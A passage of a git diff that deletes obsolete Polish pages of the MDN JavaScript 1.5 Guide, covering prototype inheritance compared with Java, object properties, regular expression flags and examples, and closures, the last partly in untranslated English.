Definicje Manager i Robotnik pokazuję różnicę w sposobie określania następnego obiektu wyższego w łańcuchu dziedziczenia. W JavaScripcie dodajesz instancję prototypową jako wartość własności prototypu funkcji konstruktora. Możesz do zrobić w dowolnej chwili po zdefiniowaniu konstruktora. W Javie określasz superklasę wewnątrz definicji klasy. Nie możesz zmienić superklasy spoza definicji klasy.

-

</tr>

- - - - - - - - - - - -
JavaScriptJava
-
-function Manager () {
-this.raporty = [];
-}
-Manager.prototype = new Pracownik;
-
-function Robotnik () {
-this.projekty = [];
-}
-Robotnik.prototype = new Pracownik;
-
-
-
-public class Manager extends Pracownik {
-   public Employee[] raporty;
-   public Manager () {
-      this.raporty = new Pracownik[0];
-   }
-}
-
-public class Robotnik extends Pracownik {
-   public String[] projekty;
-   public Robotnik () {
-      this.projekty = new String[0];
-   }
-}
-
-
-

Definicje Inzynier i Sprzedawca tworzą obiekty, które pochodzą od Robotnik a stamtąd od Pracownik. Obiekt tych typów posiada własności wszystkich obiektów znajdujących się ponad nim w łańcuchu. W dodatku definicje te nadpisują dziedziczoną własność dept nowymi wartościami specyficznymi dla tych obiektów.

- - - - - - - - - - - -
JavaScriptJava
-
-function Sprzedawca () {
-   this.dept = "sprzedaż";
-   this.przydzial = 100;
-}
-Sprzedawca.prototype = new Robotnik;
-
-function Inzynier () {
-   this.dept = "inżynieria";
-   this.maszyna = "";
-}
-Inzynier.prototype = new Robotnik;
-
-
-
-public class Sprzedawca extends Robotnik {
-   public double przydzial;
-   public Sprzedawca () {
-      this.dept = "sprzedaż";
-      this.przydzial = 100.0;
-   }
-}
-
-public class Inzynier extends Robotnik {
-   public String maszyna;
-   public Inzynier () {
-      this.dept = "inżynieria";
-      this.maszyna = "";
-   }
-}
-
-
-

Używając tych definicji możesz stworzyć instancje tych obiektów, których własności otrzymują domyślne wartości. Rysunek 8.3 ilustruje zastosowanie tych definicji JavaScriptu do zdefiniowania nowych obiektów i pokazuje wartości własności nowych obiektów.

-

Uwaga: Termin - - instancja - posiada określone techniczne znaczenie w językach opartych na klasach. W językach tych instancja jest pojedynczą składową klasy i jest całkowicie różna od klasy. W JavaScripcie "instancja" nie ma takiego technicznego znaczenia, ponieważ JavaScript nie posiada tej różnicy między klasami a instancjami. Jednak, mówiąc o JavaScripcie, "instancja" może być użyta nieformalnie w znaczeniu obiektu utworzonego za pomocą konkretnej funkcji konstruktora. Dlatego w tym przykładzie mógłbyś nieformalnie stwierdzić, że janina jest instancją Inzynier. Podobnie chociaż terminy - - rodzic, dziecko, przodek - i - - potomek - nie mają formalnego znaczenia w JavaScripcie, możesz użyć ich nieformalnie, aby odnieść się do obiektów znajdujących się wyżej lub niżej w łańcuchu prototypu.

-

Grafika:hier03.png
- Rysunek 8.3: Tworzenie obiektów z prostymi definicjami

-

{{ PreviousNext("Przewodnik_po_języku_JavaScript_1.5:Praca_z_przykładem", "Przewodnik_po_języku_JavaScript_1.5:Praca_z_przykładem:Własności_obiektu") }}

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/w\305\202asno\305\233ci_obiektu/dodawanie_w\305\202asno\305\233ci/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/w\305\202asno\305\233ci_obiektu/dodawanie_w\305\202asno\305\233ci/index.html" deleted file mode 100644 index ec2e836159..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/w\305\202asno\305\233ci_obiektu/dodawanie_w\305\202asno\305\233ci/index.html" +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Dodawanie własności -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu/Dodawanie_własności -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Dodawanie własności

-

W JavaScripcie możesz dodawać własności do dowolnego obiektu w momencie uruchomienia. Nie jesteś zmuszony używać tylko własności dostarczonych przez funkcję konstruktora. Aby dodawać własność, która jest specyficzna dla pewnego obiektu, przypisz wartość do tego obiektu w następujący sposób:

-
mark.bonus = 3000;
-
-

Teraz obiekt mark posiada własność bonus, lecz nie posiadają jej inne obiekty WorkerBee.

-

Jeśli dodasz nową własność do obiektu, który jest używany jako prototyp w funkcji konstruktora, dodajesz tę własność do wszystkich obiektów, które dziedziczą własności tego prototypu. Przykładowo, możesz dodać własność specialty dla wszystkich obiektów employee za pomocą następującej instrukcji:

-
Employee.prototype.specialty = "none";
-
-

Gdy tylko JavaScript wykona tę instrukcję, obiekt mark również będzie posiadał własność specialty wraz z wartością "none". Poniższy rysunek pokazuje efekt dodania tej własności do prototypu Employee oraz następnie nadpisania jej prototypem Engineer.

-

Grafika:hier04.gif
- Rysunek 8.4: Dodawanie własności {{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z przykładem:Własności obiektu:Dziedziczenie własności", "Przewodnik po języku JavaScript 1.5:Praca z przykładem:Więcej elastycznych konstruktorów") }}

-
-  
diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/w\305\202asno\305\233ci_obiektu/dziedziczenie_w\305\202asno\305\233ci/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/w\305\202asno\305\233ci_obiektu/dziedziczenie_w\305\202asno\305\233ci/index.html" deleted file mode 100644 index 8287857c63..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/w\305\202asno\305\233ci_obiektu/dziedziczenie_w\305\202asno\305\233ci/index.html" +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Dziedziczenie własności -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu/Dziedziczenie_własności -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Dziedziczenie własności

-

Przypuśćmy, że utworzyłeś obiekt marek jako Robotnik, tak jak pokazano na Rysunku 8.3, za pomocą poniższej instrukcji:

-
marek = new Robotnik;
-
-

Gdy JavaScript napotyka na operator new, tworzy nowy ogólny obiekt i przekazuje go jako wartość słowa kluczowego this funkcji konstruktora Robotnik. Funkcja konstruktora bezpośrednio nadaje wartość własności projekty i bezwzględnie ustala wartość wewnętrznej własności __proto__ jako Robotnik.prototype (ta nazwa własności posiada dwa znaki podkreślenia na początku i dwa na końcu). Własność __proto__ decyduje o łańcuchu prototypu używanym do zwracania wartości własności. Gdy tylko własności te są ustalone, JavaScript zwraca nowy obiekt, a instrukcja przypisania przypisuje zmienną marek do tego obiektu.

-

Proces ten nie umieszcza wartości bezpośrednio w obiekcie marek (wartości - - lokalne - ) dla własności, które marek dziedziczy z łańcucha prototypu. Gdy pytasz o wartość własności, JavaScript najpierw sprawdza czy wartość istnieje w tym obiekcie. Jeśli tak, zwraca tę wartość. Jeśli wartość nie istnieje tam lokalnie, JavaScript sprawdza łańcuch prototypu (używając własności __proto__). Jeśli obiekt w łańcuchu prototypu posiada wartość tej własności, jest ona zwracana. Jeśli własność nie zostanie znaleziona, JavaScript zgłasza, że obiekt nie posiada własności. W tym przypadku obiekt mark posiada następujące własności i wartości:

-
marek.imie = "";
-marek.dept = "ogólny";
-marek.projekty = [];
-
-

Obiekt mark dziedziczy wartości własności imie i dept z obiektu prototypowego w mark.__proto__. Ma on również przypisaną przez konstruktor Robotnik wartość własności projekty. Dzięki temu otrzymujesz dziedziczenie własności i ich wartości w JavaScripcie. Niektóre subtelności tego procesu zostały przedyskutowane w Powrót dziedziczenia własności.

-

Ponieważ konstruktory te nie pozwalają na dostarczenie wartości specyficznych dla instancji, informacje te są ogólne. Wartościami własności są te domyślnie dzielone przez wszystkie nowe obiekty utworzone z Robotnik. Możesz oczywiście zmienić wartości dowolnej z tych własności. Mógłbyś podać określone informacje dla marek tak jak pokazano poniżej:

-
marek.imie = "Doe, Marek";
-marek.dept = "administrator";
-marek.projekty = ["navigator"];
-
-
-

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z przykładem:Własności obiektu", "Przewodnik po języku JavaScript 1.5:Praca z przykładem:Własności obiektu:Dodawanie własności") }}

-
-

 

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/w\305\202asno\305\233ci_obiektu/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/w\305\202asno\305\233ci_obiektu/index.html" deleted file mode 100644 index 85957fa7fc..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/w\305\202asno\305\233ci_obiektu/index.html" +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Własności obiektu -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Własności obiektu

-

Ten artykuł omawia jak obiekty dziedziczą własności z innych obiektów w łańcuchu prototypu i co się stanie, gdy dodasz własność w momencie uruchomienia.

- -

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z przykładem:Tworzenie hierarchii", "Przewodnik po języku JavaScript 1.5:Praca z przykładem:Własności obiektu:Dziedziczenie własności") }}

-
-  
diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_wyra\305\274eniami_regularnymi/globalne_wyszukiwanie,_wielko\305\233\304\207_znak\303\263w,_wieloliniowe_wej\305\233cie/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_wyra\305\274eniami_regularnymi/globalne_wyszukiwanie,_wielko\305\233\304\207_znak\303\263w,_wieloliniowe_wej\305\233cie/index.html" deleted file mode 100644 index 658886f724..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_wyra\305\274eniami_regularnymi/globalne_wyszukiwanie,_wielko\305\233\304\207_znak\303\263w,_wieloliniowe_wej\305\233cie/index.html" +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: 'Globalne wyszukiwanie, wielkość znaków, wieloliniowe wejście' -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_wyrażeniami_regularnymi/Globalne_wyszukiwanie,_wielkość_znaków,_wieloliniowe_wejście -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Regular_Expressions -translation_of_original: >- - Web/JavaScript/Guide/Obsolete_Pages/Working_with_Regular_Expressions/Advanced_Searching_With_Flags ---- -

-

-

Zaawansowane wyszukiwanie za pomocą flag

-

Wyrażenia regularne posiadają cztery opcjonalne flagi, które pozwalają na globalne i niezależne od wielkości znaków wyszukiwanie. Aby wskazać wyszukiwanie globalne, użyj flagi g. Aby wskazać wyszukiwanie nieczułe na wielkość znaków, użyj flagi i. Aby wskazać wyszukiwanie wieloliniowe, użyj flagi m. Aby przeprowadzić "lepkie" wyszukiwanie, które pasuje do początku obecnej pozycji w łańcuchu docelowym, użyj flagi y. Flagi te mogą być użyte oddzielnie lub razem w dowolnej kolejności i są dołączane jako część wyrażenia regularnego. -

{{ Fx_minversion_note(3, "Obsługa flagi y została dodana w Firefoksie 3. Użycie flagi y skutkuje niepowodzeniem, jeśli wynik nie następuje po aktualnej pozycji w łańcuchu docelowym.") }} -

Aby dołączyć flagę do wyrażenia regularnego, użyj składni: -

-
re = /pattern/flags
-re = new RegExp("pattern", ["flags"])
-
-

Zauważ że flagi są integralną częścią wyrażenia regularnego. Nie mogą być one dodane lub usunięte później. -

Na przykład, re = /\w+\s/g tworzy wyrażenie regularne, które szuka jednego lub więcej znaków, po których następuje spacja, szukając tej kombinacji w całym łańcuchu znaków. -

-
<script type="text/javascript">
- re = /\w+\s/g;
- str = "fee fi fo fum";
- myArray = str.match(re);
- document.write(myArray);
-</script>
-
-

To wyświetli {{ mediawiki.external('\"fee \", \"fi \", \"fo \"') }}. W tym przykładzie możesz zamienić linię: -

-
re = /\w+\s/g;
-
-

z: -

-
re = new RegExp("\\w+\\s", "g");
-
-

otrzymując ten sam rezultat. -

Flaga m jest używana do określenia, że wieloliniowy łańcuch wejściowy powinien być traktowany jako wiele linii. Jeśli użyta jest flaga m, ^ i $ odpowiadają za początek lub koniec z każdej linii w wejściowym łańcuchu znaków zamiast początku i końca całego łańcucha. -

-
-

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z wyrażeniami regularnymi:Użycie odpowiedniego znaku", "Przewodnik po języku JavaScript 1.5:Praca z wyrażeniami regularnymi:Przykłady wyrażeń regularnych") }} -


-


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Working_with_Regular_Expressions/Advanced_Searching_With_Flags", "es": "es/Gu\u00eda_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejecutar_una_busqueda_global,_discriminar_mayusculas_y_minusculas_y_considerar_entrada_multil\u00ednea", "fr": "fr/Guide_JavaScript_1.5/Travailler_avec_les_expressions_rationnelles/Ex\u00e9cution_de_recherches_globales,_ignorer_la_casse,_utilisation_de_cha\u00eenes_multilignes", "ja": "ja/Core_JavaScript_1.5_Guide/Working_with_Regular_Expressions/Advanced_Searching_With_Flags" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_wyra\305\274eniami_regularnymi/przyk\305\202ady_wyra\305\274e\305\204_regularnych/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_wyra\305\274eniami_regularnymi/przyk\305\202ady_wyra\305\274e\305\204_regularnych/index.html" deleted file mode 100644 index f615d23035..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_wyra\305\274eniami_regularnymi/przyk\305\202ady_wyra\305\274e\305\204_regularnych/index.html" +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Przykłady wyrażeń regularnych -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_wyrażeniami_regularnymi/Przykłady_wyrażeń_regularnych -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Przykłady

-

Poniższe przykłady prezentują niektóre użycia wyrażeń regularnych.

-

Zmiana kolejności w łańcuchu znaków wejścia

-

Następujący przykład ilustruje tworzenie wyrażeń regularnych i użycie string.split() i string.replace(). Czyści on bezwzględnie wejściowy łańcuch znaków zawierający imiona (pierwsze imię jest pierwsze) oddzielone odstępem, tabulatorem i dokładnie jednym średnikiem. Na koniec odwraca on kolejność imion (ostatnie imię jest pierwsze) i sortuje listę.

-
<script type="text/javascript">
-
-// Łańcuch znaków z imionami zawiera wiele spacji i tabulatorów,
-// może również zawierać wiele spacji pomiędzy pierwszym a ostatnim imieniem.
-var imiona = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand ";
-
-var output = new Array(
-  "---------- Oryginalny łańcuch znaków<br><br>",
-  imiona + "<br><br>");
-
-// Przygotuj dwa wzorce wyrażeń regularnych i tablicę do przechowywania.
-// Podziel łańcuch na elementy tablicy.
-
-// wzorzec: możliwe białe znaki, następnie średnik, potem znów możliwe białe
-var wzor = /\s*;\s*/;
-
-// Rozbij łańcuch znaków na części oddzielone przez powyższy wzorzec
-// i przechowaj je w tablicy o nazwie listaImion
-var listaImion = imiona.split(wzor);
-
-// Nowy wzorzec: jeden lub więcej znaków, następnie spacje, następnie znów znaki.
-// Użyj nawiasów, by "zapamiętać" porcje wzorca.
-// Zapamiętane porcje przydadzą się później.
-var wzor = /(\w+)\s+(\w+)/;
-
-// Nowa tablica do przechowywania przetwarzanych imion.
-var ListaWgNazwisk = new Array();
-
-// Wyświetl nazwę tablicy i wypełnij nową tablicę
-// imionami oddzielonymi za pomocą przecinka, zaczynając od ostatniego.
-//
-// Metoda "zamien" usuwa wszystko pasujące do wzorca
-// i zamienia to z zapamiętanymi porcjami.
-//
-// Zmienne $1 i $2 odwołują się do zapamiętanych porcji
-// podczas porównywania wzorca.
-
-output.push("---------- Po rozdzieleniu przez wyrażenie regularne<BR>");
-
-var i, len;
-for (i = 0, len = listaImion.length; i < len; i++)
-{
-  output.push(nameList[i] + "<br>");
-  ListaWgNazwisk[i] = listaImion[i].replace(wzor, "$2, $1")
-}
-
-// Wyświetl nową tablicę.
-output.push("---------- Odwrócone imiona<br>");
-for (i = 0, len = ListaWgNazwisk.length; i < len; i++)
-{
-  output.push(ListaWgNazwisk[i] + "<br>")
-}
-
-// Sortuj według ostatniego imienia, następnie wyświetl posortowaną tablicę.
-ListaWgNazwisk.sort();
-output.push("---------- Posortowano<br>");
-for (i = 0, len = ListaWgNazwisk.length; i < len; i++)
-{
-  output.push(ListaWgNazwisk[i] + "<br>")
-}
-
-output.push("---------- Koniec<br>");
-
-document.write(output.join("\n"));
-
-</script>
-
-

Używanie specjalnych znaków do sprawdzenia wejścia

-

W następującym przykładzie, użytkownik wprowadza numer telefonu. Gdy użytkownik naciśnie klawisz Enter, skrypt sprawdzi poprawność numeru. Jeśli numer jest poprawny (pasuje do sekwencji znaków określonej przez wyrażenie regularne), skrypt wywoła okno z podziękowaniem użytkownikowi i zatwierdza numer. Jeśli numer nie jest poprawny, skrypt wywoła okno informacji o nieprawidłowym numerze telefonu.

-

Wyrażenie regularne szuka zera lub jednego nawiasu otwartego \(?, po którym następują trzy cyfry \d{3}, następnie znów zero lub jeden nawias zamknięty \)?, potem jednego myślnika, ukośnika lub znaku dziesiętnego, a gdy je znajdzie zapamiętuje znaki (-\\/\\.), następujące po nich trzy cyfry i ciąg składający się z myślnika, ukośnika lub znaku dziesiętnego \1 i następujących potem czterech cyfr \d{4}.

-

Zdarzenie Change zostaje aktywowane, kiedy użytkownik naciśnie klawisz Enter ustawiając wartość RegExp.input.

-
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
-  "http://www.w3.org/TR/html4/loose.dtd">
-<html>
-  <head>
-    <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-2">
-    <meta http-equiv="Content-Script-Type" content="text/javascript">
-    <script type="text/javascript">
-      var re = /\(?\d{3}\)?([-\/\.])\d{3}\1\d{4}/;
-
-      function testInfo(phoneInput)
-      {
-        var OK = re.exec(phoneInput.value);
-
-        if (!OK)
-        {
-          window.alert(RegExp.input + " nie jest wprowadzony numerem kierunkowy!");
-        }
-        else
-        {
-          window.alert("Dziękuję, Twój numer telefonu to " + OK[0]);
-        }
-      }
-    </script>
-  </head>
-
-  <body>
-    <p>Wprowadź numer telefonu (z numerem kierunkowym), a następnie naciśnij klawisz Enter.</p>
-    <form action="">
-      <input name="phone" onchange="testInfo(this);">
-    </form>
-  </body>
-</html>
-
-
-

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z wyrażeniami regularnymi:Globalne wyszukiwanie, wielkość znaków, wieloliniowe wejście", "Przewodnik po języku JavaScript 1.5:Blok instrukcji") }}

-
-

 

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_zamkni\304\231ciami/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_zamkni\304\231ciami/index.html" deleted file mode 100644 index fc71b64cad..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_zamkni\304\231ciami/index.html" +++ /dev/null @@ -1,286 +0,0 @@ ---- -title: Praca z zamknięciami -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_zamknięciami ---- -

Praca z zamknięciami

- -

Zamknięcia są często uważane za zaawansowaną właściwość JavaScript, ale zrozumienie ich jest niezbędne do opanowania tego języka.

- -

Rozważmy następującą funkcję:

- -
function init() {
-  var name = "Mozilla";
-  function displayName() {
-    alert(name);
-  }
-  displayName();
-}
-
- -

Funkcja init() tworzy lokalną zmienną o nazwie name, i następnie definiuje funkcję nazwaną displayName(). displayName() jest wewnętrzną funkcją - jest zdefiniowana wewnątrz funkcji init(), i jest dostępna jedynie w zasięgu ciała tej funkcji. displayName() nie posiada własnych lokalnych zmiennych, ale używa zmiennej name zadeklarowanej w funkcji zewnętrznej.

- -

Działa to całkiem nieźle - spróbujmy wykonać kod, aby zobaczyć co się stanie. To jest przykład leksykalnego zasięgu: w JavaScript, zasięg zmiennej jest zdefiniowany przez jej położenie w kodzie źródłowym, i zagnieżdżone funkcje mają dostęp do zmiennych zadeklarowanych w ich zewnętrznym obszarze.

- -

Teraz rozważmy następny przykład:

- -
function makeFunc() {
-  var name = "Mozilla";
-  function displayName() {
-    alert(name);
-  }
-  return displayName;
-}
-
-var myFunc = makeFunc();
-myFunc();
-
- -

Po wykonaniu kodu otrzymamy identyczny efekt jak poprzedni przykład z funkcją init(): łańcuch "Mozilla" zostanie wyświetlony w oknie alertowym JavaScript. Jaka jest różnica - i co ciekawsze - Czy wewnętrzna funkcja displayName() została zwrócona z zewnętrznej funkcji zanim została wykonana?

- -

Kod działa, lecz może się on wydawać nieintuicyjny. Normalnie, lokalne zmienne wewnątrz funkcji istnieją tylko podczas jej wykonywania. Kiedy makeFunc() została wykonana, spodziewamy się - i ma to sens - że zmienna name nie będzie więcej potrzebna. Skoro kod wykonuje oczekiwaną pracę, oczywiście nie ma mowy o przypadku.

- -

Rozwiązaniem tej zagadki jest fakt, że funkcja myFunc zostaje zamknięciem. Zamknięcie jest specjalnym rodzajem obiektu, który łączy dwie rzeczy: funkcję i środowisko, w którym ta funkcja została utworzona. The environment consists of any local variables that were in-scope at the time that the closure was created. In this case, myFunc is a closure that incorporates both the displayName function and the "Mozilla" string that existed when the closure was created.

- -

Here's a slightly more interesting example - a makeAdder function:

- -
function makeAdder(x) {
-  return function(y) {
-    return x + y;
-  };
-}
-
-var add5 = makeAdder(5);
-var add10 = makeAdder(10);
-
-print(add5(2));  // 7
-print(add10(2)); // 12
-
- -

In this example, we have defined a function makeAdder(x) which takes a single argument x and returns a new function. The function it returns takes a single argument y, and returns the sum of x and y.

- -

In essence, makeAdder is a function factory - it creates functions which can add a specific value to their argument. In the above example we use our function factory to create two new functions - one that adds 5 to its argument, and one that adds 10.

- -

add5 and add10 are both closures. They share the same function body definition, but store different environments. In add5's environment, x is 5. As far as add10 is concerned, x is 10.

- -

Praktyczne zamknięcia

- -

That's the theory out of the way - but are closures actually useful? Let's consider their practical implications. A closure lets you associate some data (the environment) with a function that operates on that data. This has obvious parallels to object oriented programming, where objects allow us to associate some data (the object's properties) with one or more methods.

- -

Consequently, you can use a closure anywhere that you might normally use an object with only a single method.

- -

Situations where you might want to do this are particularly common on the web. Much of the code we write in web JavaScript is event-based - we define some behavior, then attach it to an event that is triggered by the user (such as a click or a keypress). Our code is generally attached as a callback: a single function which is executed in response to the event.

- -

Here's a practical example: suppose we wish to add to a page buttons that adjust the size of the page text. One way of doing this is to specify the font-size of the body element in pixels, then set the size of the other elements on the page (such as headers) using the relative em unit:

- -
body {
-  font-family: Helvetica, Aria, sans-serif;
-  font-size: 12px;
-}
-
-h1 {
-  font-size: 1.5em;
-}
-h2 {
-  font-size: 1.2em;
-}
-
- -

Our interactive text size buttons can change the font-size property of the body element, and the adjustments will be picked up by other elements on the page thanks to the relative units.

- -

Here's the JavaScript:

- -
function makeSizer(size) {
-  return function() {
-    document.body.style.fontSize = size + 'px';
-  };
-}
-
-var size12 = makeSizer(12);
-var size14 = makeSizer(14);
-var size16 = makeSizer(16);
-
- -

size12, size14 and size16 are now functions which will resize the body text to 12, 14, and 16 pixels, respectively. We can attach them to buttons (in this case links) as follows:

- -
function setupButtons() {
-  document.getElementById('size-12').onclick = size12;
-  document.getElementById('size-14').onclick = size14;
-  document.getElementById('size-16').onclick = size16;
-}
- -
<a href="#" id="size-12">12</a>
-<a href="#" id="size-14">14</a>
-<a href="#" id="size-16">16</a>
-
- -

Emulating private methods with closures

- -

Languages such as Java provide the ability to declare methods private, meaning that they can only be called by other methods in the same class.

- -

JavaScript does not provide a native way of doing this, but it is possible to emulate private methods using closures. Private methods aren't just useful for restricting access to code: they also provide a powerful way of managing your global namespace, keeping non-essential methods from cluttering up the public interface to your code.

- -

Here's how to define some public functions that can access private functions and variables, using closures:

- -
var Counter = (function() {
-  var privateCounter = 0;
-  function changeBy(val) {
-    privateCounter += val;
-  }
-  return {
-    increment: function() {
-      changeBy(1);
-    },
-    decrement: function() {
-      changeBy(-1);
-    },
-    value: function() {
-      return privateCounter;
-    }
-  }
-})();
-
-alert(Counter.value()); /* Alerts 0 */
-Counter.increment();
-Counter.increment();
-alert(Counter.value()); /* Alerts 2 */
-Counter.decrement();
-alert(Counter.value()); /* Alerts 1 */
-
- -

There's a lot going on here. In previous examples each closure has had its own environment; here we create a single environment which is shared by three functions: Counter.increment, Counter.decrement and Counter.value.

- -

The shared environment is created in the body of an anonymous function, which is executed as soon as it has been defined. The environment contains two private items: a variable called privateCounter and a function called changeBy. Neither of these private items can be accessed directly from outside the anonymous function. Instead, they must be accessed by the three public functions that are returned from the anonymous wrapper.

- -

Those three public functions are closures that share the same environment. Thanks to JavaScript's lexical scoping, they each have access to the privateCounter variable and changeBy function.

- -

Using closures in this way provides a number of benefits that are normally associated with object oriented programming, in particular data hiding and encapsulation.

- -

Creating closures in loops: A common mistake

- -

Prior to the introduction of the let keyword in JavaScript 1.7, a common problem with closures occurred when they were created inside a loop. Consider the following example:

- -
<p id="help">Helpful notes will appear here</p>
-<p>E-mail: <input type="text" id="email" name="email"></p>
-<p>Name: <input type="text" id="name" name="name"></p>
-<p>Age: <input type="text" id="age" name="age"></p>
-
- -
function showHelp(help) {
-  document.getElementById('help').innerHTML = help;
-}
-
-function setupHelp() {
-  var helpText = [
-      {'id': 'email', 'help': 'Your e-mail address'},
-      {'id': 'name', 'help': 'Your full name'},
-      {'id': 'age', 'help': 'Your age (you must be over 16)'}
-    ];
-
-  for (var i = 0; i < helpText.length; i++) {
-    var item = helpText[i];
-    document.getElementById(item.id).onfocus = function() {
-      showHelp(item.help);
-    }
-  }
-}
-
- -

The helpText array defines three helpful hints, each associated with the ID of an input field in the document. The loop cycles through these definitions, hooking up an onfocus event to each one that shows the associated help method.

- -

If you try this code out, you'll see that it doesn't work as expected. No matter what field you focus on, the message about your age will be displayed.

- -

The reason for this is that the functions assigned to onfocus are closures; they consist of the function definition and the captured environment from the setupHelp function's scope. Three closures have been created, but each one shares the same single environment. By the time the onfocus callbacks are executed, the loop has run its course and the item variable (shared by all three closures) has been left pointing to the last entry in the helpText list.

- -

One solution in this case is to use more closures: in particular, to use a function factory as described earlier on:

- -
function showHelp(help) {
-  document.getElementById('help').innerHTML = help;
-}
-
-function makeHelpCallback(help) {
-  return function() {
-    showHelp(help);
-  };
-}
-
-function setupHelp() {
-  var helpText = [
-      {'id': 'email', 'help': 'Your e-mail address'},
-      {'id': 'name', 'help': 'Your full name'},
-      {'id': 'age', 'help': 'Your age (you must be over 16)'}
-    ];
-
-  for (var i = 0; i < helpText.length; i++) {
-    var item = helpText[i];
-    document.getElementById(item.id).onfocus = makeHelpCallback(item.help);
-  }
-}
-
- -

This works as expected. Rather than the callbacks all sharing a single environment, the makeHelpCallback function creates a new environment for each one in which help refers to the corresponding string from the helpText array.

- -

If you are using JavaScript 1.7 or higher, you can solve this problem by using the let keyword to create a variable that has block level scope:

- -
  for (var i = 0; i < helpText.length; i++) {
-    let item = helpText[i];
-    document.getElementById(item.id).onfocus = function() {
-      showHelp(item.help);
-    }
-  }
-
- -

The let keyword causes the item variable to be created with block level scope, causing a new reference to be created for each iteration of the for loop. This means that a separate variable is captured for each closure, solving the problem caused by the shared environment.

- -

Performance considerations

- -

It is unwise to unnecessarily create functions within other functions if closures are not needed for a particular task as it will negatively affect script performance.

- -

For instance, when creating a new object/class, methods should normally be associated to the object's prototype rather than defined into the object constructor. The reason is that whenever the constructor is called the methods would get reassigned (that is, for every object creation).

- -

Consider the following impractical but demonstrative case:

- -
function MyObject(name, message) {
-  this.name = String(name);
-  this.message = String(message);
-  this.getName = function() {
-    return this.name;
-  };
-
-  this.getMessage = function() {
-    return this.message;
-  };
-}
-
- -

The previous code does not take advantage of the benefits of closures and thus should instead be formulated:

- -
function MyObject(name, message) {
-  this.name = String(name);
-  this.message = String(message);
-}
-MyObject.prototype = {
-  getName: function() {
-    return this.name;
-  },
-  getMessage: function() {
-    return this.message;
-  }
-};
-
- -

Or as follows:

- -
function MyObject(name, message) {
-  this.name = String(name);
-  this.message = String(message);
-}
-MyObject.prototype.getName = function() {
-  return this.name;
-};
-MyObject.prototype.getMessage = function() {
-  return this.message;
-};
-
- -

In the two previous examples, the inherited prototype can be shared by all objects and the method definitions need not occur at every object creation. See Core_JavaScript_1.5_Guide#Details_of_the_Object_Model for more details.

